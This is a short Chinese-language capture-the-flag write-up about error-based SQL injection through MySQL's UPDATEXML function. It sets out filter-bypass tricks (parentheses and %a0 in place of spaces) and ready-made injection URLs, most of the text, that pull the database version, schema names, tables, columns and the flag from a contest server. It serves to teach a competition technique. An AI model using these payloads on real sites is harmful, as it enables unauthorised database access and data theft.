UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
本地调试:
根据中间字符串的拼接,可以获取关键信息
尝试输入常见字符进行判断,单引号报错,且过滤了空格,#,空格可以使用()和%a0绕过
判断代码基本是这样的:
获取version():
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1’and(updatexml(1,concat(0x7e,version(),0x7e),1))and’1
获取databases:
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1’and(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1))and’1
updatexml数据长度最大为32位,使用substr函数进行往后读取
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1’and(updatexml(1,concat(0x7e,substr((select(group_concat(schema_name))from(information_schema.schemata)),10),0x7e),1))and’1
获取table:
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1’and(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=’flaaaaaaag’),0x7e),1))and’1
获取column:
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1’and(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)=’f144444444g’),0x7e),1))and’1
获取flag:
http://ctfgame.acdxvfsvd.net:20001/index.php?id=1’and(updatexml(1,concat(0x7e,(select(th1s_1s_flag)from(flaaaaaaag.f144444444g)),0x7e),1))and’1
后记:一篇没有在安全客发表成功的文章,再接再厉o(╥﹏╥)o
在浙江省首届网络安全大赛预赛中f1-2 亦可覆舟也考到过这个知识点~